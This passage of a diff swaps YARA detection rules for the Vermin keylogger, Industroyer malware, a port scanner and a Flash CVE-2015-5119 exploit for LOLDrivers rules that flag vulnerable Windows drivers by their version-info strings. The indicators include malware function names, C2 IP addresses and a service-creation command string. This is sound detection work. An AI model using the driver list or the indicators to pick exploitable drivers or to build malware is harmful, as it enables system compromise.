 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and $a1 and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Vermin_Keylogger_Jan18_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_2AFD : FILE
 {
 	meta:
-		description = "Detects Vermin Keylogger"
-		author = "Florian Roth (Nextron Systems)"
-		id = "52192ea1-bb3d-52da-ba18-0645262745e2"
-		date = "2018-01-29"
-		modified = "2023-12-05"
-		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_quasar_vermin.yar#L35-L71"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a8afe017f32400e1e498d23746f5cb59c3c67f6abefe9b2e36bec81ca82ecfed"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "4dc89f62-c0e0-5abf-9774-3ca21f8a1d8e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5303-L5322"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "2afdb3278a7b57466a103024aef9ff7f41c73a19bab843a8ebf3d3c4d4e82b30"
+		logic_hash = "a687639311529ca919f90d478ddbb39e441ce24a58be056af7a7108db3f11f25"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d"
-		hash2 = "e1d917769267302d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7"
-		hash3 = "0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6"
-		hash4 = "4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da"
-		hash5 = "24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18"
-		hash6 = "2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef"
 
 	strings:
-		$x1 = "_keyloggerTaskDescription" ascii
-		$x2 = "_keyloggerTaskAuthor" ascii
-		$x3 = "GetKeyloggerLogsResponse" fullword ascii
-		$x4 = "GetKeyloggerLogs" fullword ascii
-		$x5 = "ExecuteUninstallKeyLoggerTask" fullword ascii
-		$x6 = "ExecuteInstallKeyLoggerTask" fullword ascii
-		$x7 = ":\\Projects\\Vermin\\KeyboardHookLib\\" ascii
-		$x8 = ":\\Projects\\Vermin\\CryptoLib\\" ascii
-		$s1 = "<RunHidden>k__BackingField" fullword ascii
-		$s2 = "set_SystemInfos" fullword ascii
-		$s3 = "set_RunHidden" fullword ascii
-		$s4 = "set_RemotePath" fullword ascii
-		$s5 = "ExecuteShellCommandTask" fullword ascii
-		$s6 = "Client.exe" fullword wide
-		$s7 = "xClient.Core.ReverseProxy.Packets" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000390038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and (1 of ($x*) or 3 of them )
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Industroyer_Malware_1 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Cn_Computerzsys_00D9 : FILE
 {
 	meta:
-		description = "Detects Industroyer related malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f5ab571c-03a7-538a-ada1-0930d15af5cf"
-		date = "2017-06-13"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/x81cSy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_industroyer.yar#L12-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "276b7abdf43b62c3943a8dc362e1c68b23cc505d288e4395a6ac3cb4795371f2"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "608b2435-4923-5979-9fbd-1a4cff95a450"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5325-L5344"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "00d9781d0823ab49505ef9c877aa6fa674e19ecc8b02c39ee2728f298bc92b03"
+		logic_hash = "dd1b181f975ada1e7d1def32be88e41df2f994c698e794dc0fade119b0eabf2d"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "ad23c7930dae02de1ea3c6836091b5fb3c62a89bf2bcfb83b4b39ede15904910"
-		hash2 = "018eb62e174efdcdb3af011d34b0bf2284ed1a803718fba6edffe5bc0b446b81"
 
 	strings:
-		$s1 = "haslo.exe" fullword ascii
-		$s2 = "SYSTEM\\CurrentControlSet\\Services\\%ls" fullword wide
-		$s3 = "SYS_BASCON.COM" fullword wide
-		$s4 = "*.pcmt" fullword wide
-		$s5 = "*.pcmi" fullword wide
-		$x1 = { 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73
-         00 5C 00 25 00 6C 00 73 00 00 00 49 00 6D 00 61
-         00 67 00 65 00 50 00 61 00 74 00 68 00 00 00 43
-         00 3A 00 5C 00 00 00 44 00 3A 00 5C 00 00 00 45
-         00 3A 00 5C 00 00 00 }
-		$x2 = "haslo.dat\x00Crash"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]003300360030002e0063006e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0036002e00310034002e0031003000320033 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0036002e00310034002e0031003000320033 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]7248674362406709002000280043002900200032003000310030002d00320030003100340020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*) or 2 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Industroyer_Malware_2 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Dcprotectsys_Dcprotectrwinxdriver_C35C : FILE
 {
 	meta:
-		description = "Detects Industroyer related malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0561a7bb-3b6c-5caf-9131-04924cee1e0f"
-		date = "2017-06-13"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/x81cSy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_industroyer.yar#L39-L77"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cda3e21c130acd76785905364416b3e8803e866dd93529da57ec980e7af081b7"
-		score = 75
-		quality = 83
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - DcProtect.sys"
+		author = "Florian Roth"
+		id = "52742e0b-0e2f-5a83-9993-b3cde1a5cb5e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5347-L5366"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c35cab244bd88bf0b1e7fc89c587d82763f66cf1108084713f867f72cc6f3633"
+		logic_hash = "f9010e0f70eb1c94a1e41e5999623f5eeb6aff155c36cb7b17c196eb363a62c4"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3e3ab9674142dec46ce389e9e759b6484e847f5c1e1fc682fc638fc837c13571"
-		hash2 = "37d54e3d5e8b838f366b9c202f75fa264611a12444e62ae759c31a0d041aa6e4"
-		hash3 = "ecaf150e087ddff0ec6463c92f7f6cca23cc4fd30fe34c10b3cb7c2a6d135c77"
-		hash1 = "6d707e647427f1ff4a7a9420188a8831f433ad8c5325dc8b8cc6fc5e7f1f6f47"
 
 	strings:
-		$x1 = "sc create %ls type= own start= auto error= ignore binpath= \"%ls\" displayname= \"%ls\"" fullword wide
-		$x2 = "10.15.1.69:3128" fullword wide
-		$s1 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)" fullword wide
-		$s2 = "/c sc stop %s" fullword wide
-		$s3 = "sc start %ls" fullword wide
-		$s4 = "93.115.27.57" fullword wide
-		$s5 = "5.39.218.152" fullword wide
-		$s6 = "tierexe" fullword wide
-		$s7 = "comsys" fullword wide
-		$s8 = "195.16.88.6" fullword wide
-		$s9 = "TieringService" fullword wide
-		$a1 = "TEMP\x00\x00DEF" fullword wide
-		$a2 = "TEMP\x00\x00DEF-C" fullword wide
-		$a3 = "TEMP\x00\x00DEF-WS" fullword wide
-		$a4 = "TEMP\x00\x00DEF-EP" fullword wide
-		$a5 = "TEMP\x00\x00DC-2-TEMP" fullword wide
-		$a6 = "TEMP\x00\x00DC-2" fullword wide
-		$a7 = "TEMP\x00\x00CES-McA-TEMP" fullword wide
-		$a8 = "TEMP\x00\x00SRV_WSUS" fullword wide
-		$a9 = "TEMP\x00\x00SRV_DC-2" fullword wide
-		$a10 = "TEMP\x00\x00SCE-WSUS01" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044006300500072006f00740065006300740020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0044006300500072006f00740065006300740020002800520029002000570069006e003800780038003600200064007200690076006500720020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0044006300500072006f0074006500630074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032002d00320030003200300020004a00690061006e0067006d0065006e0020004500790075006e0020004e006500740077006f0072006b00200043006f002e002c004c00740064002e00200032003000310039 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of ($x*) or 3 of them or 1 of ($a*)) or (5 of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Industroyer_Portscan_3 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Asustekcomputerinc_Iomapsys_Asuskernelmodedriverfornt_EA85 : FILE
 {
 	meta:
-		description = "Detects Industroyer related custom port scaner"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f6675466-d469-562b-9fb6-7b72bce8a726"
-		date = "2017-06-13"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/x81cSy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_industroyer.yar#L79-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "539a420989c178b3fa26e313d23e9f9c6804aa6dbd2d94f463ae924d46ac2851"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - IOMap64.sys"
+		author = "Florian Roth"
+		id = "8b2fbab4-4b54-57dc-9591-1d993e844dc0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5369-L5388"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ea85bbe63d6f66f7efee7007e770af820d57f914c7f179c5fee3ef2845f19c41"
+		logic_hash = "f9ffedd3761c0cf68d5f862ceb8e22a61a5da73e757cf92317085b714656e139"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "893e4cca7fe58191d2f6722b383b5e8009d3885b5913dcd2e3577e5a763cdb3f"
 
 	strings:
-		$s1 = "!ZBfamily" fullword ascii
-		$s2 = ":g/outddomo;" fullword ascii
-		$s3 = "GHIJKLMNOTST" fullword ascii
-		$d1 = "Error params Arguments!!!" fullword wide
-		$d2 = "^(.+?.exe).*\\s+-ip\\s*=\\s*(.+)\\s+-ports\\s*=\\s*(.+)$" fullword wide
-		$d3 = "Exhample:App.exe -ip= 127.0.0.1-100," fullword wide
-		$d4 = "Error IP Range %ls - %ls" fullword wide
-		$d5 = "Can't closesocket." fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410053005500530020004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200066006f00720020004e00540020 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0049004f004d00610070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410053005500530020004b00650072006e0065006c0020004d006f00640065002000440072006900760065007200200066006f00720020004e00540020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0049004f004d00610070002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000320030003100300020004100530055005300540065004b00200043006f006d0070007500740065007200200049006e0063002e }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and all of ($s*) or 2 of ($d*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Industroyer_Portscan_3_Output
+rule LOLDRIVERS_PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_E05E : FILE
 {
 	meta:
-		description = "Detects Industroyer related custom port scaner output file"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4469f056-674c-5a44-84a5-12a65b8586d5"
-		date = "2017-06-13"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/x81cSy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_industroyer.yar#L102-L115"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "6a2fc7b66b1e93f523e08e12ba420d261bae198918bb09eac1a7cdecc04a6737"
-		score = 75
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt.sys"
+		author = "Florian Roth"
+		id = "71c7a688-d20a-57c3-b4c5-b8344e936900"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5391-L5410"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e05eeb2b8c18ad2cb2d1038c043d770a0d51b96b748bc34be3e7fc6f3790ce53"
+		logic_hash = "94ee30a5cbd1ff47cddf35ec2205d9008857e87c457dce025501132231a146e4"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "WSA library load complite." fullword ascii
-		$s2 = "Connection refused" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000370032002c00200030002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000370032002c00200030002c00200030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100330020002d0020007700770077002e007400670073006f00660074002e00690074 }
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Industroyer_Malware_4 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_E452 : FILE
 {
 	meta:
-		description = "Detects Industroyer related malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f197d2a5-eecb-51ed-b991-7643efb3f749"
-		date = "2017-06-13"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/x81cSy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_industroyer.yar#L117-L134"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cb850445eaf3e1a6c9a9d6c453ed0f6729a95a671a01ce8fbaddf15599e4f2ba"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "15332784-229c-5b5e-b06c-2ea6cff64113"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5413-L5432"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e4522e2cfa0b1f5d258a3cf85b87681d6969e0572f668024c465d635c236b5d9"
+		logic_hash = "0a35b3e88bb078e61c2769267fdba624d171492b0e4d1c57ecf7ea770fa2f44d"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "21c1fdd6cfd8ec3ffe3e922f944424b543643dbdab99fa731556f8805b0d5561"
 
 	strings:
-		$s1 = "haslo.dat" fullword wide
-		$s2 = "defragsvc" fullword ascii
-		$a1 = { 00 2E 00 64 00 61 00 74 00 00 00 43 72 61 73 68 00 00 00 }
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0032002e0033003800320037002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0032002e0033003800320037002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of ($s*) or $a1)
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Industroyer_Malware_5 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Marvintestsolutionsinc_Hwsys_Hw_5596 : FILE
 {
 	meta:
-		description = "Detects Industroyer related malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "52ce21a0-0c72-585c-a805-c5077a7445af"
-		date = "2017-06-13"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/x81cSy"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_industroyer.yar#L136-L158"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9dfd3cfc724f0dfe090b1bcbf03b9ebd0d01b3d781f833a8ca6ba1451a63d5ad"
-		score = 75
-		quality = 85
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - hw.sys"
+		author = "Florian Roth"
+		id = "2a470258-2ec1-5d80-8ce8-d8f83a27c365"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5435-L5455"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "55963284bbd5a3297f39f12f0d8a01ed99fe59d008561e3537bcd4db4b4268fa"
+		hash = "4880f40f2e557cff38100620b9aa1a3a753cb693af16cd3d95841583edcb57a8"
+		logic_hash = "fcfc255a20b512b38057022c05a694e757b08950d6d35b3c361b0559da51a689"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7907dd95c1d36cf3dc842a1bd804f0db511a0f68f4b3d382c23a3c974a383cad"
 
 	strings:
-		$x1 = "D2MultiCommService.exe" fullword ascii
-		$x2 = "Crash104.dll" fullword ascii
-		$x3 = "iec104.log" fullword ascii
-		$x4 = "IEC-104 client: ip=%s; port=%s; ASDU=%u " fullword ascii
-		$s1 = "Error while getaddrinfo executing: %d" fullword ascii
-		$s2 = "return info-Remote command" fullword ascii
-		$s3 = "Error killing process ..." fullword ascii
-		$s4 = "stop_comm_service_name" fullword ascii
-		$s5 = "*1* Data exchange: Send: %d (%s)" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800570020002d002000570069006e0064006f007700730020004e0054002d003100300020002800330032002f00360034002000620069007400290020006b00650072006e0065006c0020006d006f00640065002000640072006900760065007200200066006f007200200050004300200070006f007200740073002f006d0065006d006f00720079002f0050004300490020006100630063006500730073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0039002e0038002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0039002e0038002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00480057 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480057002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200031003900390036002d00320030003200310020004d0061007200760069006e0020005400650073007400200053006f006c007500740069006f006e0073002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <400KB and (1 of ($x*) or 4 of them )) or ( all of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Flash_CVE_2015_5119_APT3_Leg : CVE_2015_5119 FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Getactechnologycorporation_Mtcbsvsys_Getacsystemserviceprovider_E602 : FILE
 {
 	meta:
-		description = "Exploit Sample CVE-2015-5119"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d9efaea3-0644-501a-990b-665e257beb86"
-		date = "2015-08-01"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2015_5119.yar#L2-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "99af6b9ecc18b87b14968eb8fffefac7be10dd727d8af2d0488fae4a96196e85"
-		score = 70
-		quality = 85
-		tags = "CVE-2015-5119, FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		yaraexchange = "No distribution without author's consent"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - GtcKmdfBs.sys"
+		author = "Florian Roth"
+		id = "b8357662-5966-55fc-801f-a82f137edcd4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L5458-L5477"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e6023b8fd2ce4ad2f3005a53aa160772e43fe58da8e467bd05ab71f3335fb822"
+		logic_hash = "6e220e39e765c6af5d2e80cce4a4a07b587ccd559e0cb455d56046cf4c2ff447"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s0 = "HT_exploit" fullword ascii
-		$s1 = "HT_Exploit" fullword ascii
-		$s2 = "flash_exploit_" ascii
-		$s3 = "exp1_fla/MainTimeline" ascii fullword
-		$s4 = "exp2_fla/MainTimeline" ascii fullword
-		$s5 = "_shellcode_32" ascii
-		$s6 = "todo: unknown 32-bit target" fullword ascii
